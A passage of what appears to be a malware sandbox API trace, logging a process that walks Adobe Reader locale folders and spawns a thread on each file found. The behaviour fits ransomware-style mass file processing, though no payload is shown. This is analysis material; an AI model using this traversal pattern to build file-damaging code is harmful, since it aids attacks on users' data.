10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.855] wcscat (in: _Dest=0x431c8200, _Source="SendMail.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP" [0244.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25fc [0244.856] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0244.856] wcscmp (_String1="Services", _String2=".") returned 1 [0244.856] wcscmp (_String1="Services", _String2="..") returned 1 [0244.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431c82a0 [0244.856] wcscpy (in: _Dest=0x431c82a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.856] wcscat (in: _Dest=0x431c82a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.856] wcscat (in: _Dest=0x431c82a0, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services" [0244.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431c82a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0244.857] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0244.857] wcscmp (_String1="Spelling.ESP", _String2=".") returned 1 [0244.857] wcscmp (_String1="Spelling.ESP", _String2="..") returned 1 [0244.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c83e0 [0244.858] wcscpy (in: _Dest=0x431c83e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.858] wcscat (in: _Dest=0x431c83e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.858] wcscat (in: _Dest=0x431c83e0, _Source="Spelling.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP" [0244.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c83e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0244.859] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ESP", cAlternateFileName="")) returned 1 [0244.859] wcscmp (_String1="updater.ESP", _String2=".") returned 1 [0244.859] wcscmp (_String1="updater.ESP", _String2="..") returned 1 [0244.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c8480 [0244.859] wcscpy (in: _Dest=0x431c8480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.859] wcscat (in: _Dest=0x431c8480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.859] wcscat (in: _Dest=0x431c8480, _Source="updater.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP" [0244.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f48 [0244.860] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 1 [0244.860] wcscmp (_String1="Weblink.ESP", _String2=".") returned 1 [0244.860] wcscmp (_String1="Weblink.ESP", _String2="..") returned 1 [0244.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c6c20 [0244.861] wcscpy (in: _Dest=0x431c6c20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.861] wcscat (in: _Dest=0x431c6c20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.861] wcscat (in: _Dest=0x431c6c20, _Source="Weblink.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Weblink.ESP" [0244.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c6c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce8 [0244.861] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 0 [0244.861] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0244.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce217a0) returned 1 [0244.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced33d0) returned 1 [0244.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c3d0) returned 1 Thread: id = 4048 os_tid = 0x2144 [0244.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x431a3c80 [0244.377] wcscpy (in: _Dest=0x431a3c80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.377] wcscat (in: _Dest=0x431a3c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.377] wcscat (in: _Dest=0x431a3c80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*" [0244.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21530 [0244.378] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd30 [0244.659] wcscmp (_String1=".", _String2=".") returned 0 [0244.659] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.659] wcscmp (_String1="..", _String2=".") returned 1 [0244.659] wcscmp (_String1="..", _String2="..") returned 0 [0244.659] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0244.659] wcscmp (_String1="accessibility.EUQ", _String2=".") returned 1 [0244.659] wcscmp (_String1="accessibility.EUQ", _String2="..") returned 1 [0244.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43131220 [0244.660] wcscpy (in: _Dest=0x43131220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.660] wcscat (in: _Dest=0x43131220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.660] wcscat (in: _Dest=0x43131220, _Source="accessibility.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ" [0244.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164 [0244.661] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.EUQ", cAlternateFileName="")) returned 1 [0244.661] wcscmp (_String1="Acroform.EUQ", _String2=".") returned 1 [0244.661] wcscmp (_String1="Acroform.EUQ", _String2="..") returned 1 [0244.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb4cb0 [0244.662] wcscpy (in: _Dest=0x1cdb4cb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.662] wcscat (in: _Dest=0x1cdb4cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.662] wcscat (in: _Dest=0x1cdb4cb0, _Source="Acroform.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ" [0244.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa4 [0244.663] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.EUQ", cAlternateFileName="ADOBEC~1.EUQ")) returned 1 [0244.663] wcscmp (_String1="AdobeCollabSync.EUQ", _String2=".") returned 1 [0244.663] wcscmp (_String1="AdobeCollabSync.EUQ", _String2="..") returned 1 [0244.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431319b0 [0244.664] wcscpy (in: _Dest=0x431319b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.664] wcscat (in: _Dest=0x431319b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.664] wcscat (in: _Dest=0x431319b0, _Source="AdobeCollabSync.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ" [0244.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431319b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0244.664] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.EUQ", cAlternateFileName="")) returned 1 [0244.664] wcscmp (_String1="Annots.EUQ", _String2=".") returned 1 [0244.664] wcscmp (_String1="Annots.EUQ", _String2="..") returned 1 [0244.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb48f0 [0244.665] wcscpy (in: _Dest=0x1cdb48f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.665] wcscat (in: _Dest=0x1cdb48f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.665] wcscat (in: _Dest=0x1cdb48f0, _Source="Annots.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ" [0244.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb48f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0244.675] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.EUQ", cAlternateFileName="BRDLAN~1.EUQ")) returned 1 [0244.675] wcscmp (_String1="BRdlang32.EUQ", _String2=".") returned 1 [0244.675] wcscmp (_String1="BRdlang32.EUQ", _String2="..") returned 1 [0244.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1cdb60b0 [0244.675] wcscpy (in: _Dest=0x1cdb60b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.676] wcscat (in: _Dest=0x1cdb60b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.676] wcscat (in: _Dest=0x1cdb60b0, _Source="BRdlang32.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ" [0244.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb60b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0244.676] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.EUQ", cAlternateFileName="")) returned 1 [0244.676] wcscmp (_String1="Checkers.EUQ", _String2=".") returned 1 [0244.676] wcscmp (_String1="Checkers.EUQ", _String2="..") returned 1 [0244.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb51b0 [0244.677] wcscpy (in: _Dest=0x1cdb51b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.677] wcscat (in: _Dest=0x1cdb51b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.677] wcscat (in: _Dest=0x1cdb51b0, _Source="Checkers.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ" [0244.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c [0244.677] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.EUQ", cAlternateFileName="")) returned 1 [0244.677] wcscmp (_String1="DigSig.EUQ", _String2=".") returned 1 [0244.678] wcscmp (_String1="DigSig.EUQ", _String2="..") returned 1 [0244.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb6010 [0244.678] wcscpy (in: _Dest=0x1cdb6010, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.678] wcscat (in: _Dest=0x1cdb6010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.678] wcscat (in: _Dest=0x1cdb6010, _Source="DigSig.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DigSig.EUQ" [0244.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb6010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0244.679] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.EUQ", cAlternateFileName="")) returned 1 [0244.679] wcscmp (_String1="DVA.EUQ", _String2=".") returned 1 [0244.679] wcscmp (_String1="DVA.EUQ", _String2="..") returned 1 [0244.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1cdb5610 [0244.679] wcscpy (in: _Dest=0x1cdb5610, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES" [0244.679] wcscat (in: _Dest=0x1cdb5610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0244.679] wcscat (in: _Dest=0x1cdb5610, _Source="DVA.EUQ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\DVA.EUQ" [0244.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0244.680] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, 